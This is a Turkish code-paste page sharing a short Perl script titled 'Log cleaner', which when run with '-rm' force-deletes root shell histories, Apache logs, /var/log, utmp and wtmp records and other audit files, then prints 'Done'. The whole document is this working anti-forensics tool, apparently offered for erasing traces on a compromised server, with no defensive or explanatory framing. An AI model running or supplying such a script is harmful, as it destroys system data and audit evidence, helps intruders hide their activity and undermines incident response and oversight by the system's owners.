Uyarı!

Sistemimizden daha iyi faydalanabilmek için Üye Olmanız yada Giriş Yapmanız gerekmektedir. yada Şifremi Unuttum tıkla

Pastebin | Pastebin Ekle

perl Log cleaner

MecTruy tarafından ... 13.06.2016 - 09:22
|
			#!/usr/bin/perl
# Log Cleaner by mectruy
if ($ARGV[0] eq "-rm")
{
system("rm -rf /tmp/logs");
system("rm -rf /root/.ksh_history");
system("rm -rf /root/.bash_history");
system("rm -rf /root/.bash_logout");
system("rm -rf /usr/local/apache/logs");
system("rm -rf /usr/local/apache/log");
system("rm -rf /var/apache/logs");
system("rm -rf /var/apache/log");
system("rm -rf /var/run/utmp");
system("rm -rf /var/logs");
system("rm -rf /var/log");
system("rm -rf /var/adm");
system("rm -rf /etc/wtmp");
system("rm -rf /etc/utmp");
print "./Done\n";
}